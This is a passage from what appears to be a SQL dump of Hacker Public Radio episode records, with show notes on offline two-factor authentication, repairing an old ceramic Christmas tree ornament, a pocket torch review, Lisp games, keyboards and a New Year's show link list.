sympathy, but rather because I learned\nsomething important. Now that I am getting older, as I decide which\nprojects I should do myself and which to pay professionals to do, it is\nimportant to factor in the potential impact on my body, my mind and\nthose around me, even if all goes well.</p>\n<p>Just because you can do a thing does not necessarily mean you should\ndo a thing.</p>\n<p>Unless that \"Thing\" is recording a podcast for HPR. THAT is something\nyou can and should do.</p>\n',394,0,0,'CC-BY-SA','aging, diy, health',0,0,1),
(3782,'2023-01-31','Content Format article from Wikipedia',300,'Wikipedia article on the various types of content formats','<p><a href=\"https://en.wikipedia.org/wiki/Content_format\"\ntitle=\"Wikipedia article discussing content formats\">Wikipedia\narticle</a></p>\n',318,0,0,'CC-BY-SA','media, formats, encoding',0,0,1),
(3784,'2023-02-02','Two factor authentication without a phone number',1107,'Diving into privacy-aware and offline methods to generate one time passwords','<p>Many services implement 2FA (Two factor authentication) by sending\nyou a OTP (One Time Password) using an SMS with a random code, but this\nforces you to give them your valuable phone number. What alternatives do\nexist?</p>\n<p>Let\'s dive into the <a\nhref=\"https://en.wikipedia.org/wiki/HMAC-based_one-time_password\">HOTP</a>,\nused by some banks years ago through a physical token and the recent <a\nhref=\"https://en.wikipedia.org/wiki/Time-based_one-time_password\">TOTP</a>,\nwhich both let you generate completely <em>offline</em> codes without\nusing any phone number or any other personal detail. They use the <a\nhref=\"https://en.wikipedia.org/wiki/HMAC\">HMAC</a> technique usually\nwith a SHA-1 one-way hashing function, but other hashing functions can\nbe used too.</p>\n<p>Useful links:</p>\n<ul>\n<li>a little visual explanation I found <a\nhref=\"https://www.onelogin.com/learn/otp-totp-hotp\">here</a></li>\n<li><a\nhref=\"https://f-droid.org/en/packages/com.beemdevelopment.aegis/\">Aegis</a>\nandroid OTP generator</li>\n<li>use TOTP in KeepassXC for a desktop generator <a\nhref=\"https://keepassxc.org/docs/KeePassXC_UserGuide.html#_adding_totp_to_an_entry\">guide</a></li>\n</ul>\n<p>Let\'s keep <a\nhref=\"https://en.wikipedia.org/wiki/WebAuthn\">Webauthn</a> maybe for a\nfuture episode, I\'m still exploring it and have to do more research.</p>\n',407,74,0,'CC-BY-NC-SA','2FA, OTP, TOTP, HOTP, security',0,0,1),
(3787,'2023-02-07','It shouldn\'t crackle like that',584,'Rho`n describes fixing the wiring to a ceramic Christmas tree','\n <h1>Synopsis</h1>\n <p>The Friday before Christmas, my partner\'s mother called and asked if I had a short indoor extension cord she could borrow. When I arrived at her house, she showed me her display of ceramic Christmas trees for which she needed the extension cord. These decorations have two pieces. A base which holds a small light bulb, and then the tree which sits over the light and has translucent colored plastic \'Christmas lights\' which are illuminated by the light bulb inside the tree. There were four ceramic trees of varying heights&mdash;from 14\" (~36 cm) to 6\" (~15 cm) tall. While helping to arrange each of the trees electrical cords and plugging them into the extension cable, one of the trees wouldn\'t stay lit. If you turned the base or moved the cord it would light back up, but then go out once you took pressure off the cord. I could also hear crackling at times when moving the cord&mdash;not a sound you want to hear in an electric ornament.</p>\n <p>After separating the pieces and turning over the base, I could see not only the sparks, but why it was sparking. At some point, one of wires had come lose from the light socket and was taped back in place with what looks like duct tape. The ornament was made in the 1950s. I\'m not sure when the repair was made. It is an ornament that has been passed through the family over the years. The plastic which held the wire in place had failed over the years, and the tape was also failing from the electric sparks that would occur when the wire was moved around. You could see burn marks on the tape around the wire.</p>\n <p>At first I thought I may be able to fix the side with the bad wiring. Maybe solder the wire onto the socket to give it a good electrical connection, and then use electrical tape to cover the hole where the socket casing had failed, but in the process of taking the wire out and removing all the old duct tape, the socket\'s electrical contact fell apart. This was for the best, the whole socket needed replacing, but I wasn\'t sure I could find a replacement socket that would fit through the hole in the ceramic base.</p>\n <p>While doing my last minute Christmas shopping on Christmas Eve, I stopped at one of the big box hardware stores to browse the electrical section and see if I could find a replacement socket that might work. Of course I hadn\'t brought either the old socket or the light bulb, but I found a small rack with replacement sockets that looked like it might work. The candelabra style socket replacement looked like the correct size&mdash;for both the light bulb and the hole in the base of the ornament.</p>\n <p>Once I was home, I tested the fit of the light bulb, and the socket was the correct size. It was just a little to big for the hole in the base, but I was hoping I could just grind off some of the raised plastic lettering and maybe a little off the sides of the socket here and there to get it to fit in the base. I was leery of using my Dremel tool to make the hole bigger in the ceramic base. I didn\'t want it to crack or chip the finish. I ended up doing both. Grinding down some of the plastic on the replacement socket and grinding out the hole in the ceramic base.</p>\n <p>A bit of electrical tape wrapped around the new socket created a snug fit between the hole in the ornament\'s base and the socket. I then hot glued the socket to the inside of the base to provide extra stability. Next step was attaching the old cord to the new socket. The cord was in good shape except where it was connected to the old socket. I evened up the end of the cord, then stripped it, and then connected the cord to the new socket with wire nuts.</p>\n <p>After flipping over the base and screwing in the light bulb, I tested the repair. Success!</p>\n <style>\ndiv#figures {\n display: flex;\n flex-direction: row;\n flex-wrap: wrap;\n justify-content: center;\n}\ndiv#figures figure { text-align: center; width: 300px;\n box-shadow:\n 0 1px 1px hsl(0deg 0% 0% / 0.075),\n 0 2px 2px hsl(0deg 0% 0% / 0.075),\n 0 4px 4px hsl(0deg 0% 0% / 0.075),\n 0 8px 8px hsl(0deg 0% 0% / 0.075),\n 0 16px 16px hsl(0deg 0% 0% / 0.075) }\ndiv#figures figcaption { max-width: 25vw; text-align: left; padding: 0 0.5em 0.5em 0.5em }\ndiv#figures img { max-width: 50vw; margin-bottom: 0.5em;\n box-shadow:\n 0 1px 1px hsl(0deg 0% 0% / 0.075),\n 0 2px 2px hsl(0deg 0% 0% / 0.075),\n 0 4px 4px hsl(0deg 0% 0% / 0.075),\n 0 8px 8px hsl(0deg 0% 0% / 0.075),\n 0 16px 16px hsl(0deg 0% 0% / 0.075)}\n</style>\n <div id=\"figures\"><figure> <a href=\"https://hackerpublicradio.org/eps/hpr3787/old_socket_01-lg.jpg\"><img alt=\"Top view of old light socket\" src=\"https://hackerpublicradio.org/eps/hpr3787/old_socket_01-sm.jpg\" /></a><br /><figcaption>Top view of old light socket</figcaption> </figure> <figure> <a href=\"https://hackerpublicradio.org/eps/hpr3787/old_socket_02-lg.jpg\"><img alt=\"Side view of old light socket\" src=\"https://hackerpublicradio.org/eps/hpr3787/old_socket_02-sm.jpg\" /></a><br /><figcaption>Side view of old light socket showing extent of damage where the cord was attached.</figcaption> </figure> <figure> <a href=\"https://hackerpublicradio.org/eps/hpr3787/original_cord-lg.jpg\"><img alt=\"Original cord\" src=\"https://hackerpublicradio.org/eps/hpr3787/original_cord-sm.jpg\" /></a><br /><figcaption>Original cord after removing it from old light socket.</figcaption> </figure> <figure> <a href=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_01-lg.jpg\"><img alt=\"New candelabra style light socket.\" src=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_01-sm.jpg\" /></a><br /><figcaption>New candelabra style light socket with raised plastic lettering removed by Dremel.</figcaption> </figure> <figure> <a href=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_02-lg.jpg\"><img alt=\"Side view of new socket\" src=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_02-sm.jpg\" /></a><br /><figcaption>New socket showing more shaping done with the Dremel.</figcaption> </figure> <figure> <a href=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_installed_01-lg.jpg\"><img alt=\"New wiring in base of ceramic ornament\" src=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_installed_01-sm.jpg\" /></a><br /><figcaption>New wiring in tucked into base of ornament. Wire nuts used to connect old cord to new socket.</figcaption> </figure> <figure> <a href=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_installed_02-lg.jpg\"><img alt=\"Top view of ceramic base with light bulb screwed into new socket\" src=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_installed_02-sm.jpg\" /></a><br /><figcaption>New socket installed in base with the light bulb screwed in.</figcaption> </figure> <figure> <a href=\"https://hackerpublicradio.org/eps/hpr3787/lit_tree-lg.jpg\"><img alt=\"Lighted ceramic tree ornament\" src=\"https://hackerpublicradio.org/eps/hpr3787/lit_tree-sm.jpg\" /></a><br /><figcaption>Ceramic tree lit up after completed repair.</figcaption> </figure></div>\n',293,0,0,'CC-BY-SA','Christmas, electrical, safety',0,0,1),
(3788,'2023-02-08','Nitecore Tube torch',397,'I have owned one of these for many years and find it very useful','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>This torch (aka <em>flashlight</em>) came up during the recording of\nthe Community News for May 2022. I have owned an example of this device\nsince 2016. Its been extensively reviewed elsewhere but I thought Id\nbriefly tell you about my experiences.</p>\n<h2 id=\"nitecore-tube-v1\">Nitecore Tube (V1)</h2>\n<figure>\n<img src=\"https://hackerpublicradio.org/eps/hpr3788/Nitecore_ruler.png\" alt=\"My Nitecore Tube\" />\n<figcaption aria-hidden=\"true\">My Nitecore Tube</figcaption>\n</figure>\n<p>I bought this from Amazon after seeing a video of it on the <em>Big\nClive</em> YouTube channel. It was under £10. This version is no longer\navailable but there is a version 2 for a similar price. I havent tried\nthis one.</p>\n<p>The Nitecore Tube is a small plastic-bodied torch with fittings for a\nkey ring. I have not been keen to keep it on my keyring for fear of\ndamage from the keys, so I keep it always in my shirt pocket.</p>\n<p>The torch is controlled through a rubber-like button on one side, and\nhas a micro USB port on the edge which is covered by a rubber cap.</p>\n<p>While charging, a blue LED can be seen inside the body of the torch,\nwhich turns off when the charging process is complete.</p>\n<p>The torch can operate at a number of brightness levels and has a\n<em>lock</em> mode:</p>\n<ul>\n<li>Single press - turns the low light level on and off</li>\n<li>Double press - turns on the permanent high level mode, a single\npress for off</li>\n<li>Single press and hold for more than 1 second - temporary high\nmode</li>\n<li>Press and hold when in low mode increases in brightness in\nsteps</li>\n<li>Press and hold for more than 5 seconds when in high mode will lock\nthe torch against accidental button presses. The light blinks to show\nits locked. Press and hold to return to normal.</li>\n</ul>\n<h2 id=\"usage\">Usage</h2>\n<p>I dont use this torch a huge amount. The fact that its always in my\npocket means I have a source of quite bright light when I need one. The\nlower level light is useful for moving around in the dark or in a gloomy\nplace. The brighter level I tend to use to read labels on jars, bottles\nand other containers. For some reason, these labels are often designed\nwith minimal contrast (like a dull orange lettering on a purple\nbackground) which my eyes just cant cope with. The Nitecore is my\nsaviour with this sort of stuff!</p>\n<p>I dont charge it very often, but it is easy to do it with a phone\ncharger - I have several micro USB cables around, so its no\nproblem.</p>\n<h2 id=\"conclusion\">Conclusion</h2>\n<p>This is a great little device. I have other torches for when I need a\nstronger, more broadly illuminating light source. I wouldnt be carrying\nany of these around with me though. The Nitecore is small and compact\nenough that I can keep it on me all the time.</p>\n<p>If I lost this one, or it died, Im pretty sure Id get another!</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li>Big Clive:\n<ul>\n<li><a href=\"https://www.youtube.com/watch?v=6Wq5q2ihoIs\">Fixing two\nNitecore Tube torches</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=K1BpfpO9BfY\">Comparison\nwith a shaker torch</a></li>\n<li><a\nhref=\"https://www.youtube.com/watch?v=yxI2Ln26ivY\">Teardown</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=YZNA8vxBcJE\">Teardown of a\nfake</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=tjX8S2G1Czc\">Worst clone\nyet</a></li>\n</ul></li>\n<li><a href=\"https://1lumen.com/review/nitecore-tube/\">1LUMEN.COM\nNitecore Tube</a> - a very detailed review.</li>\n</ul>\n</article>\n\n',225,0,1,'CC-BY-SA','torch,flashlight,rechargeable,Lithium Ion',0,0,1),
(3789,'2023-02-09','Common lisp portable games including acl2 formal logic',3220,'Describing exploratory libre common lisp portable games I am using acl2 formal methods in modules of','<p>Source I was looking through while talking WIP:<br />\ngopher://gopher.club/1/users/screwtape/car-game</p>\n<ul>\n<li>Compilers:\n<ul>\n<li>sbcl<br />\n<a href=\"https://sbcl.org/\" class=\"uri\">https://sbcl.org/</a></li>\n<li>ecl<br />\n<a href=\"https://ecl.common-lisp.dev/\"\nclass=\"uri\">https://ecl.common-lisp.dev/</a></li>\n<li>acl2<br />\n<a\nhref=\"https://www.cs.utexas.edu/users/moore/acl2/manuals/current/manual/index-seo.php/ACL2____Common_02Lisp\"\nclass=\"uri\">https://www.cs.utexas.edu/users/moore/acl2/manuals/current/manual/index-seo.php/ACL2____Common_02Lisp</a></li>\n</ul></li>\n<li>System definition:\n<ul>\n<li>asdf<br />\n<a href=\"https://common-lisp.net/project/asdf/\"\nclass=\"uri\">https://common-lisp.net/project/asdf/</a></li>\n</ul></li>\n<li>Books mentioned:\n<ul>\n<li>Land of Lisp</li>\n<li>Advances in Formal methods (whatever by Kaufmann)</li>\n</ul></li>\n</ul>\n',416,0,0,'CC-BY-SA','common-lisp,acl2,asdf3,formal-methods,game,programming',0,0,1),
(3791,'2023-02-13','My Hardware Problem - Keyboards',1418,'I\'m always looking for new computer hardware. This is about my keyboards','<p>I discuss my quest for the perfect keyboard for me.</p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.duckychannel.com.tw/en\">https://www.duckychannel.com.tw/en</a></li>\r\n<li><a href=\"https://steelseries.com/apex\">https://steelseries.com/apex</a></li>\r\n<li><a href=\"https://www.razer.com/pc/gaming-keyboards-and-keypads\">https://www.razer.com/pc/gaming-keyboards-and-keypads</a></li>\r\n<li><a href=\"https://www.redragonzone.com/collections/keyboard\">https://www.redragonzone.com/collections/keyboard</a></li>\r\n<li><a href=\"https://www.keychron.com/\">https://www.keychron.com/</a></li>\r\n<li><a href=\"https://hyperx.com/collections/gaming-keyboards\">https://hyperx.com/collections/gaming-keyboards</a></li>\r\n<li><a href=\"https://keebworks.com/kailh-box-white/\">https://keebworks.com/kailh-box-white/</a></li>\r\n</ul>\r\n\r\n<p><small><a href=\"https://auphonic.com/blog/2022/06/10/new-noise-reduction-algorithms-beta/\">Noise reduction</a> applied</small></a>\r\n\r\n\r\n',417,57,0,'CC-BY-SA','Keyboards, Ducky, Razer, Red Dragon, Cherry, Kailh, MX, Keycaps, HyperX, Pudding',0,0,1),
(3793,'2023-02-15','RE: Zen_Floater2',1127,'GOD probably will use a Chromebook.','<hr />\r\n<h3>Counter Point</h3>\r\n<p>This show is a counter point to: <a href=\"https://hackerpublicradio.org/eps.php?id=3754\">hpr3754 :: GOD probably will use a Chromebook.</a>\r\n</p>\r\n<hr />\r\n\r\n<h2\r\nid=\"make-sure-no-one-is-in-the-room-with-you-before-you-play-this-and-put-your-secret-hat-on\">Make\r\nsure no one is in the room with you before you play this and put your\r\nsecret hat on.</h2>\r\n<ul>\r\n<li><a\r\nhref=\"https://hackerpublicradio.org/eps.php?id=3754#comments\">hpr3754:</a>\r\nGOD probably will use a Chromebook.</li>\r\n<li><a href=\"https://gnuworldorder.info/\">GNU World Order:</a> Episode\r\n489 Cloud Services.</li>\r\n<li><a\r\nhref=\"https://www.samsung.com/us/computing/galaxy-chromebook-go/\">samsung:</a>\r\nGalaxy Chromebook Go.\r\n<ul>\r\n<li><a\r\nhref=\"https://www.samsung.com/us/computing/chromebooks/12-14/galaxy-chromebook-go-14---silver--wifi--xe340xda-ka1us/\">samsung:</a>\r\nGalaxy Chromebook Go 14inch, Silver, Wi-Fi.</li>\r\n</ul></li>\r\n<li><a\r\nhref=\"https://en.wikipedia.org/wiki/Artificial_intelligence\">wikipedia:</a>\r\nArtificial intelligence is intelligence&#x2014;perceiving, synthesizing, and\r\ninferring information&#x2014;demonstrated by machines, as opposed to\r\nintelligence displayed by non-human animals and humans.</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/God\">wikipedia:</a> In\r\nmonotheistic thought, God is usually viewed as the supreme being,\r\ncreator, and principal object of faith. God is typically conceived as\r\nbeing omnipotent, omniscient, omnipresent, and omnibenevolent, as well\r\nas having an eternal and necessary existence.</li>\r\n<li><a\r\nhref=\"https://en.wikipedia.org/wiki/Planned_obsolescence\">wikipedia:</a>\r\nIn economics and industrial design, planned obsolescence (also called\r\nbuilt-in obsolescence or premature obsolescence) is a policy of planning\r\nor designing a product with an artificially limited useful life or a\r\npurposely frail design, so that it becomes obsolete after a certain\r\npre-determined period of time upon which it decrementally functions or\r\nsuddenly ceases to function, or might be perceived as\r\nunfashionable.</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Eugenics\">wikipedia:</a>\r\nEugenics. In the decades following World War II, with more emphasis on\r\nhuman rights, many countries began to abandon eugenics policies,\r\nalthough some Western countries (the United States, Canada, and Sweden\r\namong them) continued to carry out forced sterilizations.</li>\r\n</ul>\r\n',391,0,1,'CC-BY-SA','Tin hat, chrome book, Artificial intelligence',0,0,1),
(3795,'2023-02-17','2022-2023 New Years Show Episode 1',5022,'2022 - 2023 new years show where people come together and chat the year away ','<h2 id=\"episode-1\">Episode #1</h2>\n<p>Welcome to the 11th Annual Hacker Public Radio show. It is December\nthe 31st 2022 and the time is 10 hundred hours UTC. We start the show by\nsending Greetings to Christmas Island/Kiribati and Samoa Kiritimati,\nApia. Chatting with Honkey, Mordancy, Joe, Ken, and others</p>\n<p>Discussed: pi hole, podman, RPIs, Pfsense, and netminers new micro\npc</p>\n<h3 id=\"introduction-by-ken-and-honkey\">Introduction by <a\nhref=\"https://hackerpublicradio.org/correspondents/0030.html\">Ken</a>\nand <a\nhref=\"https://hackerpublicradio.org/correspondents/0269.html\">Honkey</a>.</h3>\n<ul>\n<li><a\nhref=\"https://www.history.com/topics/holidays/new-years\">History:</a>\nThe New Years Celebrations.\n<ul>\n<li>Civilizations around the world have been celebrating the start of\neach new year for at least four millennia. Today, most New Year&#x2019;s\nfestivities begin on December 31 (New Year&#x2019;s Eve), the last day of the\nGregorian calendar, and continue into the early hours of January 1 (New\nYear&#x2019;s Day).</li>\n</ul></li>\n<li><a href=\"https://hackerpublicradio.org/contribute.php\">HPR:</a> So\nyou want to do a podcast?\n<ul>\n<li><a href=\"https://www.wikihow.com/Make-a-Good-Podcast\">Wikihow:</a>\nHow to make a good podcast.</li>\n</ul></li>\n<li><a href=\"https://www.deathwishcoffee.com/\">Death Wish Coffee</a>\n<ul>\n<li>We lead with an alternative point of view, providing bold, smooth\ncups of coffee to our people. We find fresh ways to enjoy coffee, and we\nfoster community along the way. Disrupting the status quo interests us,\nso we create edgy, sarcastic content. We live to rebel against blah\nbeans&#x2014;and a boring, lackluster life.</li>\n</ul></li>\n<li><a href=\"https://elephantsanctuarythailand.com/\">Thailand Elephant\nSanctuary</a></li>\n<li><a href=\"https://wiki.videolan.org/VLC_command-line_help/\">VLC\ncommandline:</a> List of commands and arguments.\n<ul>\n<li><a href=\"https://wiki.videolan.org/Documentation:Command_line/\">VLC\ncommandline:</a> Documentation.</li>\n<li><a\nhref=\"https://wiki.videolan.org/Documentation:Streaming_HowTo/Command_Line_Examples/\">VLC\ncommandline:</a> Audio streaming from the commandline.</li>\n<li><a href=\"https://github.com/pulseaudio/pavucontrol\">pavucontrol:</a>\nPulseAudio Volume Control.</li>\n</ul></li>\n<li><a href=\"http://www.hearseclub.com/hearsecon/hearsecon.htm\">Hearse\nClub</a>\n<ul>\n<li><a href=\"https://www.youtube.com/watch?v=HOSsC0mFXP0\">youtube:</a>\nMotorWeek Over the Edge: Hearse Convention.</li>\n</ul></li>\n<li><a href=\"https://xiph.org/ogg/\">xiph:</a> The Ogg container format.\n<ul>\n<li>Ogg is a multimedia container format, and the native file and stream\nformat for the Xiph.org multimedia codecs. As with all Xiph.org\ntechnology is it an open format free for anyone to use.</li>\n<li><a\nhref=\"https://www.loc.gov/preservation/digital/formats/fdd/fdd000026.shtml\">Library\nof Congress:</a> .ogg file format.</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/MP3\">Wikipedia:</a> .mp3 file\nformat.</li>\n<li><a href=\"https://xiph.org/flac/index.html\">xiph:</a> .flac file\nformat.\n<ul>\n<li>FLAC stands for Free Lossless Audio Codec, an audio format similar\nto MP3, but lossless, meaning that audio is compressed in FLAC without\nany loss in quality. This is similar to how Zip works, except with FLAC\nyou will get much better compression because it is designed specifically\nfor audio, and you can play back compressed FLAC files in your favorite\nplayer (or your car or home stereo, see supported devices) just like you\nwould an MP3 file.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/FLAC\">Wikipedia:</a> .flac\nfile format.</li>\n</ul></li>\n<li><a\nhref=\"https://elephantguide.com/en/how-much-can-an-elephant-lift/\">elephantguide:</a>\nHow Much Can An Elephant Lift?</li>\n<li><a\nhref=\"https://thaiembdc.org/2022/08/10/thailands-wild-tiger-population-shows-impressive-growth/\">Royal\nThai Embassy:</a> Thailand&#x2019;s wild tiger population shows impressive\ngrowth.\n<ul>\n<li><a\nhref=\"https://www.bangkokpost.com/thailand/general/2357491/thailand-has-highest-number-of-wild-tigers-in-southeast-asia\">bangkokpost:</a>\nThailand has highest number of wild tigers in Southeast Asia.</li>\n</ul></li>\n<li><a href=\"https://www.mumble.info/\">mumble:</a> Mumble is a free,\nopen source, low latency, high quality voice chat application.</li>\n<li><a\nhref=\"https://www.atpinc.com/blog/what-is-m.2-M-B-BM-key-socket-3\">atpinc:</a>\nWhat is M.2? Keys and Sockets Explained.</li>\n<li><a href=\"https://www.armbian.com/\">armbian:</a> Linux for ARM\ndevelopment boards.</li>\n<li><a\nhref=\"https://www.pine64.org/devices/single-board-computers/rock64/\">pine64:</a>\nROCK64 is a credit card sized Single Board Computer.</li>\n<li><a href=\"https://hub.docker.com/r/realies/nicotine/\">docker:</a>\nrealies/nicotine.</li>\n<li><a href=\"https://kubuntu.org/\">kubuntu:</a>\n<ul>\n<li>Kubuntu is a free, complete, and open-source alternative to\nMicrosoft Windows and Mac OS X which contains everything you need to\nwork, play, or share. Check out the Feature Tour if you would like to\nlearn more!</li>\n</ul></li>\n<li><a href=\"https://podman.io/\">podman:</a>\n<ul>\n<li>Podman is a daemonless container engine for developing, managing,\nand running OCI Containers on your Linux System.</li>\n</ul></li>\n<li><a href=\"https://www.docker.com/\">docker:</a>\n<ul>\n<li><a href=\"https://www.docker.com/resources/what-container/\">A\ncontainer</a> is a standard unit of software that packages up code and\nall its dependencies so the application runs quickly and reliably from\none computing environment to another. A Docker container image is a\nlightweight, standalone, executable package of software that includes\neverything needed to run an application: code, runtime, system tools,\nsystem libraries and settings.</li>\n<li><a\nhref=\"https://www.docker.com/blog/containers-and-vms-together/\">Containers\nand VMs Together?</a></li>\n</ul></li>\n<li><a href=\"https://cockpit-project.org/\">cockpit:</a> Cockpit is a\nweb-based graphical interface for servers, intended for everyone.\n<ul>\n<li><a\nhref=\"https://www.redhat.com/sysadmin/manage-virtual-machines-cockpit\">manage</a>\nvirtual machines in Cockpit.</li>\n</ul></li>\n<li><a href=\"https://etherpad.org/\">etherpad:</a> big boy show\nnotes.</li>\n<li><a\nhref=\"https://developers.redhat.com/blog/2020/11/19/transitioning-from-docker-to-podman#\">redhat:</a>\nTransitioning from Docker to Podman.</li>\n<li><a href=\"https://linuxlugcast.com/\">lugcast:</a> We are an open\nPodcast/LUG that meets every first and third Friday of every month using\nmumble.</li>\n<li>[logitech:](<a href=\"https://www.logitech\">https://www.logitech</a>\nG435 Ultra-light Wireless Bluetooth Gaming Headset.</li>\n<li><a\nhref=\"https://www.fit-philosophy.com/blogs/fitness-knowledge/how-to-avoid-performing-junk-volume\">fit\nphilosophy:</a> Junk volume.\n<ul>\n<li>\"Junk volume\" refers to exercise that doesn\'t improve strength or\nbuild muscle, wasting your time and energy.</li>\n<li><a\nhref=\"https://hugesupplements.com/blogs/content/leg-day-workout\">Leg day\nworkout</a></li>\n</ul></li>\n<li><a href=\"https://jitsi.org/projects/\">jitsi:</a> Jitsi Free &amp;\nOpen Source Video Conferencing Projects.</li>\n<li><a href=\"https://mintcast.org/\">mintCast</a> The podcast by the\nLinux Mint community for all users of Linux.</li>\n<li><a href=\"https://www.tllts.org/\">The Linux link tech show</a> The\nLinux Link Tech Show is one of the longest running Linux podcasts in the\nworld.</li>\n<li><a href=\"https://www.matterhackers.com/store/c/PET\">PETG</a> 3D\nPrinting Filament.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/MIM-104_Patriot\">MIM-104\nPatriot</a>\n<ul>\n<li><a\nhref=\"https://www.military-today.com/missiles/patriot.htm\">military-today</a>\nThe Patriot is a long-range air defense missile system.</li>\n</ul></li>\n<li><a href=\"https://www.samsclub.com/\">samsclub:</a></li>\n<li><a href=\"https://github.com/rancher/rancher\">rancher:</a>\n<ul>\n<li><a href=\"https://www.rancher.com/\">suse rancher:</a></li>\n</ul></li>\n<li><a href=\"https://www.raspberrypi.com/\">raspberrypi</a> single board\ncomputers.</li>\n<li><a href=\"https://www.pfsense.org/\">pfsense:</a> pfSense is a\nfirewall/router computer software distribution based on FreeBSD.</li>\n<li><a href=\"https://www.snort.org/\">snort:</a>\n<ul>\n<li>Snort is the foremost Open Source Intrusion Prevention System (IPS)\nin the world. Snort IPS uses a series of rules that help define\nmalicious network activity and uses those rules to find packets that\nmatch against them and generates alerts for users.</li>\n<li>Snort can be deployed inline to stop these packets, as well. Snort\nhas three primary uses: As a packet sniffer like tcpdump, as a packet\nlogger &#x2014; which is useful for network traffic debugging, or it can be\nused as a full-blown network intrusion prevention system. Snort can be\ndownloaded and configured for personal and business use alike.</li>\n</ul></li>\n<li><a href=\"https://pi-hole.net/\">pi-hole:</a>\n<ul>\n<li>In addition to blocking advertisements, Pi-hole has an informative\nWeb interface that shows stats on all the domains being queried on your\nnetwork.</li>\n</ul></li>\n<li><a href=\"https://nlnetlabs.nl/projects/unbound/about/\">nlnetlabs:\nUnbound</a> Unbound is a validating, recursive, caching DNS resolver. It\nis designed to be fast and lean and incorporates modern features based\non open standards.</li>\n<li><a href=\"https://www.cloudns.net/blog/dhcp-server/\">DHCP\nserver</a></li>\n<li><a href=\"https://dietpi.com/\">dietpi:</a> DietPi is an extremely\nlightweight Debian OS, highly optimised for minimal CPU and RAM resource\nusage, ensuring your SBC always runs at its maximum potential.</li>\n<li><a\nhref=\"https://www.servethehome.com/?s=project+tinyminimicro\">servethehome:</a>\nProject Tiny Mini Micro, cool 1 liter pc builds.</li>\n<li><a href=\"https://filezilla-project.org/\">filezilla:</a> The\nFileZilla Client supports FTP, FTP over TLS (FTPS), and SFTP.</li>\n<li><a\nhref=\"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/networking_guide/sec-configure_a_network_team_using_the_text_user_interface_nmtui\">redhat:</a>\nConfigure a Network Team Using the Text User Interface,\n<code>nmtui</code>.</li>\n<li><a\nhref=\"https://www.howtogeek.com/devops/how-to-manage-linux-wi-fi-networks-with-nmtui/\">howtogeek:</a>\nManage Linux Wi-Fi Networks With Nmtui.</li>\n<li><a\nhref=\"https://www.travelcodex.com/the-southwest-airlines-meltdown-what-really-happened/\">travelcodex:</a>\nThe Southwest Airlines Meltdown.</li>\n<li><a href=\"https://gpd.hk/\">gpd</a></li>\n<li><a\nhref=\"https://www.kickstarter.com/projects/903888394/arduboy-card-sized-gaming/description\">kickstarter:</a>\nArduboy, the game system the size of a credit card.</li>\n<li><a\nhref=\"https://www.pine64.org/2022/12/15/december-update-merry-christmas-and-happy-new-pinetab/\">pine64:</a>\nPinetab 2.</li>\n<li><a\nhref=\"http://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/details/orange-pi-800.html\">orangepi:</a>\nOrange Pi 800, Mini PC in a keyboard.</li>\n<li><a href=\"https://southeastlinuxfest.org/\">southeastlinuxfest:</a>\nThe SouthEast LinuxFest is a community event for anyone who wants to\nlearn more about Linux and Open Source Software.</li>\n<li><a href=\"https://fosdem.org/2023/\">fosdem:</a> FOSDEM is a free\nevent for software developers to meet, share ideas and collaborate.</li>\n<li><a href=\"https://stallman.org/\">stallman:</a> Richard Stallman\'s\nPersonal Site.</li>\n<li><a href=\"https://www.freedos.org/\">freedos:</a> FreeDOS is a\ncomplete, free, DOS-compatible operating system. While we provide some\nutilities, you should be able to run any program intended for\nMS-DOS.</li>\n<li><a href=\"https://reactos.org/\">reactos:</a> Imagine running your\nfavorite Windows applications and drivers in an open-source environment\nyou can trust.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Windows_3.0\">wikipedia:</a>\nWindows 3.0.</li>\n<li><a href=\"https://www.winehq.org/\">winehq:</a> a compatibility layer\ncapable of running Windows applications on several POSIX-compliant\noperating systems, such as Linux, macOS, &amp; BSD.</li>\n<li><a href=\"https://www.codeweavers.com/\">codeweavers:</a></li>\n<li><a href=\"https://www.playonlinux.com/en/\">playonlinux:</a>\nPlayOnLinux is a piece of software which allows you to easily install\nand use numerous games and apps designed to run with Microsoft&#xAE;\nWindows&#xAE;.</li>\n<li><a href=\"https://www.protondb.com/\">protondb:</a> Proton is a new\ntool released by Valve Software that has been integrated with Steam Play\nto make playing Windows games on Linux as simple as hitting the Play\nbutton within Steam.</li>\n<li><a href=\"https://www.libreoffice.org/\">libreoffice:</a> LibreOffice\nis a free and powerful office suite.</li>\n<li><a href=\"https://linuxmint.com/\">linuxmint:</a> Linux Mint is a\ncommunity-driven Linux distribution based on Ubuntu, bundled with a\nvariety of free and open-source applications.</li>\n<li><a href=\"https://xfce.org/\">xfce:</a> Xfce or XFCE is a free and\nopen-source desktop environment for Linux and other Unix-like operating\nsystems.</li>\n<li><a href=\"https://crunchbang.org/\">crunchbang:</a> CrunchBang was a\nDebian GNU/Linux based distribution offering a great blend of speed,\nstyle and substance.</li>\n<li><a href=\"http://openbox.org/\">openbox:</a></li>\n<li><a href=\"https://www.gnome.org/\">gnome:</a></li>\n<li><a href=\"https://www.mozilla.org/en-US/firefox/new/\">mozilla:</a>\nfirefox</li>\n<li><a href=\"https://www.google.com/chrome/index.html\">google\nchrome</a></li>\n<li><a href=\"https://www.amd.com/\">AMD</a></li>\n<li><a\nhref=\"https://www.cdc.gov/ncbddd/autism/screening.html\">autism</a></li>\n<li><a 